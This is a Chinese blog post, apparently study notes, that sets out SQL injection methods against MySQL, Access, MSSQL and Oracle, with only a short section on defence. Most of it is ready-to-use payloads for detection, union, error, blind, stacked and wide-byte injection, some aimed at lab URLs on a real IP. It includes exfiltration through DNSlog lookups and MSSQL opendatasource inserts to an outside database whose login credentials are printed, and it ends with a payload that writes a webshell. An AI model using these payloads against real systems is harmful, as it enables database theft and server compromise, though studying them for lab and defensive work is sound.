vlambda博客
学习文章列表

SQL注入攻击篇--网络安全周报

去做自己想做的,喜欢做的,不必在意别人的眼光。你做的事情不是为了给谁看,是为了不负此生。


本文是关于SQL各种类型数据库的注入攻击自我复习总结,如果大家有更骚的操作,或者文中有不足的地方,麻烦大佬一定要和我说,谢谢~




本文讲述:

SQL注入的原理

SQL注入的防御

SQL攻击的流程

其他数据库的注入方法


sqll注入原理:

当用户访问动态网页时,Web服务器会想数据访问层发起SQL查询请求,若此时攻击者在当前网页构造恶意SQL语句,并一起带入数据库执行,那么会带来意想不到的危害。例如获取/篡改业务核心数据,获取服务器权限,严重可导致数据库瘫痪。简单件来说,就是程序原本要执行的的代码,拼接了用户输入的代码一起运行了。

SQL注入防御方法: 

方案一:严格控制数据类型 在Java/C等强类型语言中一般是不存在数字型注入的,但是在PHP、ASP这些没有强调处理数据类型的语言,一般我们看到接收的id代码如下:

$id = $_GET['id']; $SQL = "select * from '字段' where id = $id;";

这样的代码攻击者很容易利用id参数运用SQL语言的联合查询等手法进行SQL注入,假设在此处加入检查数字类型函数is_numeric()就可以防止数字类型的注入了 

方案二:对特殊字符进行转义处理 数字型注入可以通过检查数据类型防止,但是字符型不可以,那么怎么办呢,最好的办法就是对特殊的字符进行转义了。比如在MySQL中我们可以对" ' "进行转义,这样就防止了一些恶意攻击者来闭合语句。当然我们也可以通过一些安全函数来转义特殊字符。

如addslashes()等,但是这些函数并非一劳永逸,攻击者还可以通过一些特殊的方式绕过。总结:禁止用户输入敏感函数、最好做个一个白名单。对特殊字符进行转义。

攻击者是如何进行SQL注入攻击的? 

讲到攻击之前,其实针对不同的数据库,就会有不同的攻击手法。同类型的数据库也会有不同的攻击手段。以下会说到Mysql、Access、MSSQL、Oracle数据库的注入手法 

值得一提的是,不管是什么注入,基本流程都是差不多的,我个人划分为五个点 

1、判断是否存在注入。存在什么类型的注入?

2、判断当前字段数,判断是否存在回显点

3、获取当前库名、数据库版本号、操作系统类型、获取当前库所有表名 

4、获取指定表名的所有字段数据 

5、获取表中的数据

前言:判断是否存在注入

 and 1=1/and 1=2 

也可以单独使用单引号/双引号来判断 

'and 1=2--+ 

')and 1=2--+ 

"and 1=2--+ 

")and 1=2--+ 

",1)and 1=2--+ 

',1)and 1=2--+ 

or sleep(5)--+ 

'or sleep(5)--+ 

"or sleep(5)--+ 

当然不局限于以上这些,我一般黑盒测试都是用这几种,


攻击介绍:错注入、报错注入、时间盲注、堆叠注入、宽字节注入、head注入 

#以下注入流程都是在有注入的前提下进行的


##Mysql注入 

####显错注入 假设后端代码是这样的

 select * from users where user_id=1 

1、判断当前有多少个字段 

and order by 1--+ 

....

and order by 5--+ 

2、寻找输出点 

and 1=2 union select 1,2,3,4,5--+ 

3、输出库以及系统信息 

and 1=2 union select 1,2,@@version_complie_os,4,database()--+ 4、输出表 and 1=2 union select 1,2,3,4,table_name from information_schema.tables where table_schema=database() limit 0,1--+ 

当然,也可以野一点,全部输出出来 

and 1=2 union select 1,2,3,4,group_concat(table_name from information_schema.tables where table_schema=database())--+ 

5、获取字段 and 1=2 union select 1,2,3,4,column_name from information_schema.columns where table_schema=database() limit 0,1--+ 

###报错注入 判断当前字段数

'and order by 1--+ 

判断当前表名 爆出当前第一个表的名字 

http://81.69.35.160:8081/Less-5/?id=1'or updatexml(1,concat(1,(select table_name from information_schema.tables where table_schema=database() limit 0,1),1),1)-- qwe 

报错信息:XPATH syntax error: 'users1'

获取users1表字段 

http://81.69.35.160:8081/Less-5/?id=1'or updatexml(1,concat(1,(select column_name from information_schema.columns where table_schema=database() limit 1,1),1),1)-- qwe 

报错信息:XPATH syntax error: 'email_id1'

获取user1表中的email_id1数据 

http://81.69.35.160:8081/Less-5/?id=1'or updatexml(1,concat(1,(select email_id1 from users1 limit 1,1),1),1)-- qwe 

报错信息Table 'security.users1' doesn't exist


####布尔盲注 一个没有回显点。但是会报错的页面被称为布尔盲注 当页面没有没有回显点,只能用逻辑判断返回当前页面的True和False时,可以使用if判断手法 手工注入手法 

访问网站正常查询语句

select * from users where user_id=1;

步骤一:判断当前数据库第一个字符是什么 

and if(substring(database(),1,1)='d',1,0)--+ 

#判断第一位字符 判断第二位字符 

解释:取出当前数据库的第一个字符出来判断是否为'd',如果是,当前页面返回正常,反之回显错误 

and if(substring(database(),2,1)='v',1,0)--+ 

#判断第二位字符 

and if(substring(database(),3,1)='w',1,0)--+ 

#判断第三位字符 

步骤二:判断当前表名 

select table_name from information_schema.tables where table_schema=database() limit 0,1; 

#这个语句是查询当前数 据库的第一张表的第一个字符的判断:在上面查询数据库的原有语句中,将database()替换成括号加入以上查询表语句,组合起来 and if(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='g',1,0)--+ 

如果想判断下一个字符,可以递增limit 第二张表第一个字符的判断:

and if(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1)='u',1,0)--+ 

如果想判断下一个字符,可以递增limit

判断指定表的第一列字段名 and if(substring((select column_name from information_schema.columns where table_name='user' limit 0,1),1,1)='g',1,0)--+

判断指定表的第二列字段名 and if(substring((select column_name from information_schema.columns where table_name='user' and table_schema=database() limit 1,1),1,1)='g',1,0)--+

最后一步数据查询 数据库查询语句是:select concat(user,0x3a,password) from users; and if(substring(select concat(user,0x3a,password) from users limit 1)='a',1,0)

####延时注入 延时盲注和布尔盲注同理 能布尔盲注的一定能延时盲注,能延时盲注的不一定能布尔盲注

测试是否存在sql注入的时候,最重要的还是闭合方式。如果能闭合,都好说。

假设:select*from news where id=”1” 有两种判断方式 "and sleep(5)--+ "if(1=1,sleep(1),sleep(5))--+ if(expr1,expr2,expr3)如果表达式1正确,执行表达式2.否则执行表达式3 如果1=1成立,则延时一秒,否则延时五秒。页面延时一秒说明存在注入 延时注入的做法跟布尔注入的做法没有太大区别,只不过延时注入是延时网页回显时间来判断而已,比较耗费时间

查长度语句:and if(length(database())>n,sleep(5),1) 查ascii码语句:and if(ascii(substr(database(),1,1))>100,sleep(5),1)

sqli-labs 第九关-延时注入 判断是否存在注入 'and sleep(5)--+ 当前库名有多少为字符 先用大于号判断大概范围 'and if(length(database())=8,1,sleep(5))

判断库名的第一个字符 'and if(ascii(substr(database(),1,1))=115,sleep(2),1)--+ ascii=115='s' 'and if(ascii(substr(database(),2,1))=101,sleep(2),1)--+ ascii=101='e' 数据库全称:security

判断表名 'and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114,sleep(2),1)--+ 

注:在substr(1,1,1)里有三个传参,在第一位传参写入子查询 




####堆叠注入(Stacked injections) 

0x00 堆叠注入的原理

在sql注入中,分号表示一条sql语句的结束,试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入 0x01 堆叠注入的局限性 堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。

(1)源代码

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; ?id=1;create table less41 like users; //增加表

?id=1;drop table less41; //删除表 堆叠注入无非是利用分号执行多行命令 在2019网强杯中的注入题 绕过preg_match()函数可以用堆叠注入

简单来说,堆叠注入就是利用分号执行多条语句




####宽字节注入 

宽字节注入的原理

宽字节的SQL注入,主要是源于开发人员设置数据库编码为非英文编码(GBK),那么就有可能产生宽字节注入。

例如说:mysql的编码设置为SET NAMES ‘gbk’或者SET character_set_client=gbk,这样配置回引发编码转换从而导致的宽字节注入漏洞 宽字节SQL注入就是PHP发送请求到MySql时使用了语句 SET NAMES ‘gbk’ 或是SET character_set_client =gbk 进行了一次编码,但是又由于一些不经意的字符集转换导致了宽字节注入。magic_quotes_gpc的作用:当PHP的传参中有特殊字符就会在前面加转义字符’\’,来做过滤 所以 为了绕过magic_quotes_gpc的\,于是乎发现了反斜杠\的编码是%5c 然后我们用一个传参一个字符凑成一个gbk字符 例如:‘運’字是%df%5c SELECT * FROM users WHERE id=’1\’’ LIMIT 0,1 这条语句因为\使我们无法去注入,那么我们是不是可以用%df吃到%5c,因为如果用GBK编码的话这个就是運

0x01 利用步骤 

盲注 手注之前目标一定要明确,一定要先知道表有多少个字段 构建语句:or length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=10— qwe

表的字符长度为10

开始找表:构建语句:哈\’)or ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>1— qwe

回显登陆成功,证明语句正确 开始手注 …… 

哈\’)or ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),10,1))>107— qwe 

ASCII解码为:china_flag

找字段 构建语句:or ascii(substr((select column_name from information_schema.columns where table_name=0x6368696e615f666c6167 and table_schema=database() limit 1,1),1,1))=1— qwe

ASCII解码为:C_Flag



####DNSlog注入 

dns注入原理 我的理解是:在注入之前的必要条件是,对方一定要是windows服务器,否则无法进行DNSlog注入,其原由与路径有关UNC格式

通过子查询,把子查询的内容拼接到域名里(conncat),其次让load_file()去访问共享文件夹,其二访问的域名就会经过DNS,经过dns就会被记录。

[dnslog域名可以去dnslog.cn申请一个,申请之后你就可以看此域名的dnslog文件]

此时就实现了将盲注转变为显错注入,因为拼接的东西加上域名去访问一个共享文件夹就会经过dns,其次被dns记录。此时就可查阅记录内容。

若假设一个windows站点存在注入 那么开始尝试DNSlog注入 先去dnslog.cn网站上申请一个dns域名 可以看见申请发下的域名都是二级域名 域名申请好了就开始构造语句 :

and (select load_file(concat('//',(select database()),'.ntjsgf.dnslog.cn/abc'))) 

执行成功了 回dns网站那边看看日志 成功获取了maoshe库,继续进行注入 尝试获取表名,构建语句 :

and (select load_file(concat(‘//‘,(select table_name from information_schema.tables where table_schema=database() limit 0,1),’.ntjsgf.dnslog.cn/qwe’))) 

尝试注入:注入成功,获取表名admin

尝试获取字段名,开始构建语句:

and (select load_file(concat(‘//‘,(select column_name from information_schema.columns where table_schema=database() limit 0,1),’.ntjsgf.dnslog.cn/qwe’))) 

发现第一个字段是id,继续获取第二、第三个字段 得到了想要的字段后,开始尝试获取里面的数据 总结内容 库:maoshe 表:admin admin

字段:id,username,password

开始构建语句 and (select load_file(concat(‘//‘,(select username from admin limit 0,1),’.ntjsgf.dnslog.cn/qwe’))) 

开始注入 查看注入后输出内容 似乎不是我想要的内容,继续 and (select load_file(concat(‘//‘,(select username from admin limit 1,1),’.ntjsgf.dnslog.cn/qwe’))) 

DNSlog那边似乎没有回应,也就是说,这是一个flag用户,并且只有一个用户数据 这样的话,不如看看flag的密码 and (select load_file(concat(‘//‘,(select upassword from admin limit 0,1),’.ntjsgf.dnslog.cn/qwe’))) 

回到dnslog那边就可以看到了



##MSsql反弹注入

什么是反弹注入?我的理解是,把对方数据库的本该输出在网页的数据,保存发送到我的数据库中查阅 利用opendatasource函数实现 什么情况下才能使用反弹注入?我的理解是:一般MSsql注入没有输出点,没有显错点,但是sleep能执行的情况下,【说明存在注入的】,工具能测出有注入,但是注入很慢时 就可以使用MSsql反弹注入 理解仅供参考 实战之前先了解一个函数[opendatasource]

insert into opendatasource(‘sqloledb’,’server=SQL5009.webweb.com,1433;uid=DB_14A5E44_zkaq_admin;pwd=zkaqzkaq;database=DB_14A5E44_zkaq’).DB_14A5E44_zkaq.dbo.temp select * from admin — qwe

昨晚我也想去白嫖一个香港云的,太可恶了,居然被嫖挂了,然而哪个my.gearhost.com压根就打不开,后来找了小伙伴要才有 分享一下 SQL Server信息 


连接名:ZKAQ 

主机:den1.mssql8.gear.host 

初始数据库:mater 

用户名:zkaq6661 

密码:Ri0HYMW84?_u


以下也会用到堆叠注入的手法 

找表 开始构建注入语句 

id=1’;insert into opendatasource(‘sqloledb’,’server=den1.mssql8.gear.host,1433;uid=zkaq6661;pwd=Ri0HYMW84?_u;database=zkaq6661’).zkaq6661.dbo.hah select id,name,’Null’ from sysobjects where xtype=’U’—+ 

转圈圈之后回显正常说明注入成功,成功之后可以去到云数据库中查看是否有内容插入 假设这里反弹到了admin表 

开始构建语句 id=1’;insert into opendatasource(‘sqloledb’,’server=den1.mssql8.gear.host,1433;uid=zkaq6661;pwd=Ri0HYMW84?_u;database=zkaq6661’).zkaq6661.dbo.hah select 1,name,’Null’ from syscolumns where id=1977058079—+ 

插入URL栏之后转圈圈回显正常之后,可以回到云数据库中查看被反弹回来的字段

找flag 开始构建语句 `id=1’;insert into opendatasource(‘sqloledb’,’server=den1.mssql8.gear.host,1433;uid=zkaq6661;pwd=Ri0HYMW84?_u;database=zkaq6661’).zkaq6661.dbo.hah select id,username,token from admin —+ 

返回云数据库中可见flag{e9w8d82h4er}




##Access偏移注入攻击 什么是偏移注入?

我的理解是:偏移注入就是一种注入的一种方法,在一种表中无法得知字段名的情况下,在网页下判断字段数、寻找输出点,在有输出点的情况下回显字段名

偏移注入一般在什么情况下才会使用?

在当你猜到表名猜不到字段名的时候可以使用。当这个数据库没有系统自带库可查询时或者没有权限去查询这个表时可以使用偏移注入的方法 当你猜到表名无法猜到字段名的情况下,我们可以使用偏移注入来查询那张表里面的数据。

学前须知

表名.==>这是什么意思呢,“.”在我们学过的编程语言中一般都是一个连接符,而号则是表示通配符,表名.就是代表该表下的所有字段,其实这里个人感觉表名.和单独一个*号表达的意思应该一致

偏移注入的基本流程原理 假设admin中有三个字段,另外一个表中有五个字段 一般情况下偏移注入都会使用到联合查询

在我们不知道admin有多少字段的情况下可以尝试 union slectfrom 1,2,3,4,admin. from admin #页面报错 union selectfrom 1,2,3,admin. from admin #页面报错 时页面返回正常,说明admin表有三个字段 union selectfrom 1,2,3,admin. from admin #没有报错 然后通过移动admin.*的位置,就可以回显不同的数据

Cookie插件突然打不开了,暂时先用着浏览器控制台中输入吧 先查当前页面中有多少个字段

查到11的时候发现页面回显错误,说明admin表中有十个字段

现在我们是要使用偏移注入得到key,所以去找一个表的字段比admin还多的 找到一个页面测试字段中……知道测试到27之后 这个页面发生弹窗报错,说明这个表中有26个字段

接下来看看这个页面能有多少个输出点

目前只发现了3,5,7是可以作为输出点的,有时候不能被表面所迷惑,可以去网页源代码中找找也没有其他的输出点,在失效图片的源代码中就发现了一个输出点25,所以本次的输出点是3,5,7,25

现在开始偏移注入 这个admin.*就是一个整体的集合相当于,里面有多少字段不知道,但是我们可以通过原子段数减去现字段数得出 从admi测试字段中得知admin有16个字段。因为357比较靠前,所以先从2开始偏移到19。得出结果如图

从357输出点的结果都不是想要的那就试试从10开始偏移,看看25中能输出什么

发现啥也没有,那就向前偏移一位看看有没有什么其他发现

向前偏移一位的话,那就是从9开始偏移

这里发现了一个key,直接拿去提交答案 ##Oracle显错以及报错注入攻击 不管是什么数据库,在做注入之前本质万年不边的是,用户输入的数据被当作代码执行~

在oracle中弱化了库的概念,oracle中一个用户可以有一个库 查看当前用户叫什么 Select user from dual

例如在oracle中想要查询管理员的账号密码,就要先知道对应的表名、字段名 下面是一些常用语句

Select user from dual //查出当前用户的名字 selectfrom all_tables //输出所有表 selectfrom user_tables //查询当前用户的所有表 查看哪个表是想要查询的 select*from all_tab_columns //查找所有表的字段

Select*from user_tab_columns //查找当前用户表的所有字段 看字段时要明白两个结构 table_name—>表名 column_name—>字段名

怎么查看oracle当前版本?Select*from v$version

在oracle中并没有limit,在oracle中有专门的函数代替oracle selectfrom user_tables where Rownum<2 //输出一条数据 selectfrom user_tables where Rownum<3 //输出两条数据 如果不想看某个字段或表,可以加and去排除 select*from user_tables where Rownum<3 and table_name != ‘NEWS’

假设存在注入并有四个字段

Union all select 1,2,3,4 from dual 

发现数据类型错误,可以把1,2,3,4换成null,其次再去试探每个输出点是字符类型还是整数类型 四、查看表、字段 找当前用户表 构建语句:

and 1=2 union all select 1,to_nchar(table_name),to_nchar(‘a’),4 from user_tables 发现表:NEWS、 继续 构建语句:

and 1=2 union all select 1,to_nchar(table_name),to_nchar(‘a’),4 from user_tables where table_name<>’NEWS’ and table_name!=’ADMIN’ 用户表分别为:NEWS、ADMIN、MD5 最想查看的表是ADMIN,选择ADMIN表查询ADMIN表中的字段

找ADMIN表中的字段 构建语句

select * from news where ID=2 and 1=2 union all select 1,to_nchar(column_name),to_nchar(‘a’),4 from user_tab_columns where table_name=’ADMIN’ 这里一定要设置筛选条件为ADMIN表 查看第二个字段 构建语句:

select * from news where ID=2 and 1=2 union all select 1,to_nchar(column_name),to_nchar(‘a’),4 from user_tab_columns where table_name=’ADMIN’ and column_name<>’ID’ 查看第三个字段 构架语句:select * from news where ID=2 and 1=2 union all select 1,to_nchar(column_name),to_nchar(‘a’),4 from user_tab_columns where table_name=’ADMIN’ and column_name<>’ID’ and column_name<>’UNAME’

继续查看时发现已经木有数据了 说明了admin表中存在三个字段 为:ID、UNAME、UPASS

查看Flag 构建语句:

select from news where ID=2 and 1=2 union all select 1,to_nchar(UNAME),to_nchar(UPASS),4 from ADMIN 

结果:UNAME=我是管理员;UPASS=f583aea84b6ded258f529205eb6d56a7* 

二、报错注入 报错注入就很简单了,没有显错注入那么麻烦,报错注入只有一个条件,就是能报错就可以了

其实已经知道了flag的位置了,但是为了走个流程,还是要把报错注入完整流程走一遍滴~~ 2.1、报错注入 报错注入就很简单了,没有显错注入那么麻烦,报错注入只有一个条件,就是能报错就可以了

其实已经知道了flag的位置了,但是为了走个流程,还是要把报错注入完整流程走一遍滴~~ 找表 构建语句:

select * from news where ID=1 and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1))— and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1 and table_name<>’NEWS’ and table_name<>’admin’))— and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1 and table_name<>’NEWS’ and table_name<>’ADMIN’))

找字段 构建语句:

and 1=ctxsys.drithsx.sn(1,(select column_name from user_tab_columns where rownum=1))— 2、and 1=ctxsys.drithsx.sn(1,(select column_name from user_tab_columns where rownum=1 and column_name<>’ID’))— 3、and 1=ctxsys.drithsx.sn(1,(select column_name from user_tab_columns where rownum=1 and column_name<>’ID’ and column_name<>’UNAME’))—+

现在开始寻找我们想要的信息 构建语句:

?id=1 and 1=CTXSYS.DRITHSX.SN(1,(select UPASS from (select ROWNUM r,UPASS from ADMIN) where r=3))—+

即可出flag




###Mysql写马 关于利用mysql写一句话木马到数据库中,条件还是比较苛刻的

1、对web目录有写权限(一般root或者高权限账户有写权限) 

2、GPC关闭(是否对单引号进行转义)

3、知道服务器的绝对路径

4、secure-file-priv为打开的状态

写文件:select '' into outfile '/data/www/heneng/cp/log.php'

知道如何写文件,那么在利用注入点写马也显得异常简单了

案例:

id=1 and union select 1,2,3,4, '' into outfile '/data/www/heneng/cp/log.php'--+